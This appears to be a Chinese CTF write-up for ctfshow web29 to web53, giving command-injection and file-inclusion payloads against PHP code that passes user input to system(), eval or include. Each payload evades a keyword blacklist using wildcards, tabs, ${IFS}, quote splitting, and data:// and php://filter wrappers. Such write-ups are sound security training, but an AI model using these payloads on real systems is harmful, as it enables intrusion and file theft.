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                <h2 id="简单执行："><a href="#简单执行：" class="headerlink" title="简单执行："></a>简单执行：</h2><h3 id="Web29"><a href="#Web29" class="headerlink" title="Web29"></a>Web29</h3><p>怎么说呢，这个只过率了flag这个字符,能够构造的挺多的。</p>
<pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token operator">?</span>c<span class="token operator">=</span><span class="token function">system</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"tac fla*"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">#system：执行系统命令，在通过占位符?或者*可以实现指令。</span>
<span class="token operator">/</span><span class="token operator">?</span>c<span class="token operator">=</span><span class="token keyword">echo</span> <span class="token string single-quoted-string">'tac *'</span><span class="token punctuation">;</span>
<span class="token operator">/</span><span class="token operator">?</span>c<span class="token operator">=</span><span class="token keyword">echo</span> <span class="token string single-quoted-string">'cat *'</span><span class="token punctuation">;</span>
<span class="token comment">#eval()函数就是把输入的字符串当作php代码去执行，直接打开可以看到。</span>
<span class="token comment">#在这里使用了，tac指令，这个跟cat指令效果相似，tac指令从最后一行倒序显示内容，并将所有内容输出</span>
<span class="token operator">?</span>c<span class="token operator">=</span><span class="token keyword">echo</span> <span class="token string backtick-quoted-string">`nl fl''ag.php`</span><span class="token punctuation">;</span>
<span class="token comment">#nl 可以将输出的文件内容自动的加上行号，这个是ctfshow官方wp里给的解法，但是我确实没怎么用过</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p>还有这一种方式，使用cp指令flag.php中的文件写入2.txt，直接打开就能得到flag。</p>
<pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token operator">/</span><span class="token operator">?</span>c<span class="token operator">=</span><span class="token string backtick-quoted-string">`cp fla?.??? 2.txt`</span><span class="token punctuation">;</span>
<span class="token operator">/</span><span class="token number">2.</span>txt<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre>

<h3 id="web30"><a href="#web30" class="headerlink" title="web30"></a>web30</h3><p>这个你上一问多过滤了 <code>system</code> ，由于过滤了system,我们可以使用passthru函数进行替代。</p>
<blockquote>
<p><strong>passthru()</strong></p>
<p>原型： void passthru ( string $command [, int &amp;$return_var ] )</p>
<p>说明: passthru与system的区别，passthru直接将结果输出到游览器，不返回任何值，且其可以输出二进制</p>
</blockquote>
<pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token operator">/</span><span class="token operator">?</span>c<span class="token operator">=</span><span class="token function">passthru</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"cat f*"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">#注上个题的那些除了第一个被过滤了，都可以用。</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre>

<h3 id="web31"><a href="#web31" class="headerlink" title="web31"></a>web31</h3><p>循序渐进，这道题目比之前的又多过滤了空格与cat，使用<code>%09</code>绕过： cat也可以用tac进行替换。cp指令因为.被ban了这里也无法执行，具体也不难。</p>
<pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token operator">/</span><span class="token operator">?</span>c<span class="token operator">=</span><span class="token function">passthru</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"tac%09f*"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token operator">/</span><span class="token operator">?</span>c<span class="token operator">=</span><span class="token keyword">echo</span><span class="token operator">%</span><span class="token number">09</span><span class="token string single-quoted-string">'tac%09*'</span><span class="token punctuation">;</span>
<span class="token operator">/</span><span class="token operator">?</span>c<span class="token operator">=</span><span class="token keyword">echo</span><span class="token operator">%</span><span class="token number">09</span><span class="token string backtick-quoted-string">`nl%09f*`</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre>

<p>这道题也可以进行逃逸。</p>
<pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token operator">/</span><span class="token operator">?</span>c<span class="token operator">=</span><span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">&amp;</span><span class="token number">1</span><span class="token operator">=</span><span class="token function">system</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"cat%20flag.php"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre>

<h3 id="web32"><a href="#web32" class="headerlink" title="web32"></a>web32</h3><p> 这次又过滤了<strong>echo</strong>函数，**?&gt;**可以绕过<code>;</code>，比较麻烦的还是他把括号也一并过滤了，使用命令逃逸加文件包含：</p>
<pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token operator">?</span>c<span class="token operator">=</span><span class="token keyword">include</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"a"</span><span class="token punctuation">]</span><span class="token operator">?</span><span class="token operator">></span><span class="token operator">&amp;</span>a<span class="token operator">=</span>php<span class="token punctuation">:</span><span class="token comment">//filter/read=convert.base64-encode/resource=flag.php</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre>

<p> 因为使用<code>?&gt;</code>，所以后面没办法直接拼接php语句，需要使用文件包含。 解码就得到flag。</p>
<h3 id="web33"><a href="#web33" class="headerlink" title="web33"></a>web33</h3><p>这个题比上一道只多过滤了括号，但是这种逃逸接文件包含完全不需要括号，所以变化不大。</p>
<h3 id="web34"><a href="#web34" class="headerlink" title="web34"></a>web34</h3><p>这个真就是经典ployed了 ，这道题多过滤了：但是实际上一开始构造的就是这种，基本上没什么变化。</p>
<pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token operator">?</span>c<span class="token operator">=</span><span class="token keyword">include</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token operator">?</span><span class="token operator">></span><span class="token operator">&amp;</span><span class="token number">1</span><span class="token operator">=</span>php<span class="token punctuation">:</span><span class="token comment">//filter/read=convert.base64-encode/resource=flag.php</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre>

<h3 id="web35"><a href="#web35" class="headerlink" title="web35"></a>web35</h3><p>跟上面那个一样…..虽然在过滤时多过滤了一个=和一个&lt;，但是在之前的构造的，已经通过<code>?c=eval($_GET[1]);</code>逃逸了.</p>
<h3 id="web36"><a href="#web36" class="headerlink" title="web36"></a>web36</h3><p>连着3个了…..这个[0-9]被过滤，这边可以直接用a代替。</p>
<h2 id="DATA伪协议相关："><a href="#DATA伪协议相关：" class="headerlink" title="DATA伪协议相关："></a>DATA伪协议相关：</h2><h3 id="web37"><a href="#web37" class="headerlink" title="web37"></a>web37</h3><p>这个考察的php中的data伪协议，换考点之后过滤的返回少了….基本上用类似方法第29题构造的都可以拿来用。</p>
<pre class="line-numbers language-php" data-language="php"><code class="language-php">/?c=data://text/plain,<span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token function">system</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"tac fla?.php"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter important">?></span></span>
/?c=data:text/plain,<span class="token php language-php"><span class="token delimiter important">&lt;?=</span><span class="token function">system</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"tac fla*"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter important">?></span></span>
#当然也可以用cp指令或者mv指令将flag文件复制出来再访问。
/?c=data:text/plain,<span class="token php language-php"><span class="token delimiter important">&lt;?</span> cp fla<span class="token operator">?</span><span class="token operator">.</span><span class="token operator">??</span><span class="token operator">?</span> <span class="token number">1.</span>txt`<span class="token punctuation">;</span><span class="token delimiter important">?></span></span>    <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre>

<h3 id="Web38"><a href="#Web38" class="headerlink" title="Web38"></a>Web38</h3><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>
<span class="token comment">//flag in flag.php</span>
<span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'c'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token variable">$c</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'c'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/flag|php|file/i"</span><span class="token punctuation">,</span> <span class="token variable">$c</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
        <span class="token keyword">include</span><span class="token punctuation">(</span><span class="token variable">$c</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">echo</span> <span class="token variable">$flag</span><span class="token punctuation">;</span>    
    <span class="token punctuation">&#125;</span>
<span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span>
    <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">&#125;</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p>这一道题，他多过滤了PHP，php语言因为向下兼容的原因，可以有<code>&lt;?php ?&gt;</code> , 也可以使用简短标签<code>&lt;? ?&gt;</code> ,同时还具有ASP风格<code>&lt;% %&gt;</code> ，这种不同的配置里应该需要在配置文件<strong>php.ini</strong>里面更改设置。</p>
<p>所以在这道题，我们可以使用短标签<code>/?c=data:text/plain,&lt;?=system(&quot;tac fla*&quot;);?&gt;</code> ，同时也可以用Base64编码进行绕过<code>data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==</code></p>
<h3 id="Web39"><a href="#Web39" class="headerlink" title="Web39"></a>Web39</h3><p>在php文件里有这一句**include($c.”.php”); **，会将我们传入的文件的拓展名改为.php ,但是在我们的构造的过程中，data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了，所以后面的.php会被当成html页面直接显示在页面上，起不到什么作用。</p>
<pre class="line-numbers language-php" data-language="php"><code class="language-php">?c=data:text/plain,<span class="token php language-php"><span class="token delimiter important">&lt;?=</span><span class="token function">system</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"tac%20fla*"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter important">?></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre>

<h2 id="重定向相关："><a href="#重定向相关：" class="headerlink" title="重定向相关："></a>重定向相关：</h2><h3 id="Web42"><a href="#Web42" class="headerlink" title="Web42"></a>Web42</h3><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'c'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token variable">$c</span><span class="token operator">=</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'c'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token function">system</span><span class="token punctuation">(</span><span class="token variable">$c</span><span class="token operator">.</span><span class="token string double-quoted-string">" >/dev/null 2>&amp;1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span>
    <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">&#125;</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p>这道题跟前几道又有差别了，这次对进行了重定向，这个题按以往的方式无法进行。</p>
<p>1&gt;/dev/null ：首先表示标准输出重定向到空设备文件，也就是不输出任何信息到终端，也就是不显示任何信息。<br>2&gt;&amp;1 ： 接着，标准错误输出重定向到标准输出，因为之前标准输出已经重定向到了空设备文件，所以标准错误输出也重定向到空设备文件。</p>
<blockquote>
<p>1：&gt; 代表重定向到哪里，例如：echo “123” &gt; /home/123.txt<br>2：/dev/null 代表空设备文件<br>3：2&gt; 表示stderr标准错误<br>4：&amp; 表示等同于的意思，2&gt;&amp;1，表示2的输出重定向等同于1<br>5：1 表示stdout标准输出，系统默认值是1，所以”&gt;/dev/null”等同于 “1&gt;/dev/null”<br>因此，&gt;/dev/null 2&gt;&amp;1 也可以写成“1&gt; /dev/null 2&gt; &amp;1”</p>
</blockquote>
<pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token operator">/</span><span class="token operator">?</span>c<span class="token operator">=</span>tac flag<span class="token operator">.</span>php<span class="token punctuation">;</span>ls
<span class="token operator">/</span><span class="token operator">?</span>c<span class="token operator">=</span>more flag<span class="token operator">.</span>php<span class="token operator">%</span><span class="token number">0</span>a<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre>

<h3 id="web43"><a href="#web43" class="headerlink" title="web43"></a>web43</h3><p>这道题目，跟上一道题目类似，多过滤了;和cat，这里是转载的一些关于分隔符的内容。</p>
<blockquote>
<p>1、“;”分隔符<br>用分号分隔的命令会按顺序执行，即使中间命令使用方式不对，会有相关错误输出，后面的命令照样会执行。如：</p>
<p>输入：命令A；命令B；命令C</p>
<p>按顺序执行A、B、C命令，若B命令调用方式不对，终端会有相关错误提示，提示后会继续执行C命令。</p>
<p>2、“&amp;&amp;”分隔符<br>同C、C++语言逻辑运算符”&amp;&amp;”类似，遇到首个命令执行失败后，后面的命令不会执行。如：</p>
<p>输入：命令A &amp;&amp; 命令B &amp;&amp; 命令C</p>
<p>先执行命令A，若A命令执行正确则再执行命令B。假如命令B执行失败，则停止，C命令不会被执行到。</p>
<p>3、“||”分隔符<br>同C、C++语言逻辑运算符”||”类似，遇到首个命令执行成功后，后面的命令不会执行。如：</p>
<p>输入：命令A || 命令B || 命令C</p>
<p>先执行命令A，若A命令执行失败则再执行命令B。假如命令B执行成功，则停止，C命令不会被执行到。</p>
</blockquote>
<p>在这里就可以直接用上一道题的pyload改造一下</p>
<pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token operator">/</span><span class="token operator">?</span>c<span class="token operator">=</span>tac<span class="token operator">%</span><span class="token number">20</span>flag<span class="token operator">.</span>php<span class="token operator">%</span><span class="token number">26</span><span class="token operator">%</span><span class="token number">26</span>
<span class="token comment">#&amp;&amp;这个在使用时，应该使用urlencode为%26%26，否则会被当作url参数的分隔符而不是shell命令的分隔符。</span>
<span class="token operator">?</span>c<span class="token operator">=</span>tac<span class="token operator">%</span><span class="token number">20</span>flag<span class="token operator">.</span><span class="token class-name">php</span><span class="token operator">||</span><span class="token class-name">ls</span>
<span class="token operator">?</span>c<span class="token operator">=</span>more<span class="token operator">%</span><span class="token number">20</span>f<span class="token operator">*</span><span class="token operator">%</span><span class="token number">0</span>a
<span class="token comment">#Linux的more指令，more指令的优先级貌似比重定向的>更高，使用more指令可以直接略过这个问题</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<h3 id="Web44"><a href="#Web44" class="headerlink" title="Web44"></a>Web44</h3><p>这个题目过滤了flag，还是和以前一样使用在通过占位符?或者*可以实现指令。</p>
 <pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token operator">/</span><span class="token operator">?</span>c<span class="token operator">=</span>tac<span class="token operator">%</span><span class="token number">20</span>fla<span class="token operator">*</span><span class="token operator">.</span><span class="token class-name">php</span><span class="token operator">||</span><span class="token class-name">ls</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre>

<h3 id="Web45"><a href="#Web45" class="headerlink" title="Web45"></a>Web45</h3><p>这道题过滤了<code> 空格</code>，也就是说%20被ban了，我们可以使用%09也就是制表符替换得到flag。</p>
<pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token operator">?</span>c<span class="token operator">=</span>tac<span class="token operator">%</span><span class="token number">09</span>fla<span class="token operator">*</span><span class="token operator">.</span><span class="token class-name">php</span><span class="token operator">||</span><span class="token class-name">ls</span> <span class="token comment">#使用制表符替换空格</span>
<span class="token operator">?</span>c<span class="token operator">=</span><span class="token class-name type-declaration">tac</span><span class="token variable">$</span><span class="token punctuation">&#123;</span><span class="token constant">IFS</span><span class="token punctuation">&#125;</span>la<span class="token operator">*</span><span class="token operator">.</span><span class="token class-name">php</span><span class="token operator">||</span><span class="token class-name">ls</span><span class="token comment">#也可以使用$&#123;IFS&#125; </span>
<span class="token comment">#在shell中，有一个好用的环境变量$IFS，用于内部字段分隔符</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre>

<h3 id="Web46"><a href="#Web46" class="headerlink" title="Web46"></a>Web46</h3><p> 这一道题目，过滤了;|cat|flag|空格|数字|$|* ，怎么说呢, 可以继续使用制表符来替换</p>
<pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token operator">?</span>c<span class="token operator">=</span>tac<span class="token operator">%</span><span class="token number">09</span>fla<span class="token operator">?</span><span class="token operator">.</span><span class="token class-name">php</span><span class="token operator">||</span><span class="token class-name">ls</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre>

<h3 id="Web47"><a href="#Web47" class="headerlink" title="Web47"></a>Web47</h3><p> <strong>;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail</strong> ,这这这，这都是过滤了什么啊？</p>
<p>上一个题的东西，还是可以接着使用</p>
<h3 id="Web48"><a href="#Web48" class="headerlink" title="Web48"></a>Web48</h3><p>好家伙，他这是过滤了什么问题啊，后面那些函数我还是不怎么认得,我之后再去学习下**;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|**还是接着用Web46的pyload就行</p>
<h3 id="Web49"><a href="#Web49" class="headerlink" title="Web49"></a>Web49</h3><p>一个构造4连杀了,我还不是很清楚这个解法肯定不是期望解，去看看官方的题解是什么样子的。</p>
<h3 id="Web50"><a href="#Web50" class="headerlink" title="Web50"></a>Web50</h3><p>他这一次终于将制表符给过滤了，这样我们之前的构造也无法使用了，我们可以使用带行号读指令nl ，同时nl里面不支持通配符,所以，这里不能以*和?代替flag.php中的内容，这里需要使用shell指令的一个特性，被两个单引号分割时，会被直接略过，是不会被读取的，因为‘被过滤，我们可以通过%27这种形式进行绕过。</p>
<pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token operator">?</span>c<span class="token operator">=</span>nl<span class="token operator">&lt;</span>fla<span class="token operator">%</span><span class="token number">27</span><span class="token operator">%</span><span class="token number">27</span>g<span class="token operator">.</span><span class="token class-name">php</span><span class="token operator">||</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre>

<h3 id="Web51"><a href="#Web51" class="headerlink" title="Web51"></a>Web51</h3><p> 所以说上个题目，我这也不是预期解？继续使用nl&lt;fla’’g.php||就能得到flag </p>
<h3 id="Web52"><a href="#Web52" class="headerlink" title="Web52"></a>Web52</h3><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'c'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
    <span class="token variable">$c</span><span class="token operator">=</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'c'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i"</span><span class="token punctuation">,</span> <span class="token variable">$c</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
        <span class="token function">system</span><span class="token punctuation">(</span><span class="token variable">$c</span><span class="token operator">.</span><span class="token string double-quoted-string">" >/dev/null 2>&amp;1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">&#125;</span>
<span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span>
    <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">&#125;</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p>依旧没有过滤nl指令,这也导致我可以继续为所欲为……</p>
<h3 id="Web53"><a href="#Web53" class="headerlink" title="Web53"></a>Web53</h3><p>这个终于步骤多了起来，这次多过滤了一对尖括号，这就没法用上面的那个构造了，不过好消息是**$**被放出来了， <del>不过这道题我们应该是没有写权限的</del>（应该是有写权限的，只不过我一开始没成功，看官方的wp是能够进行更名的）。</p>
<p>Web54</p>

                
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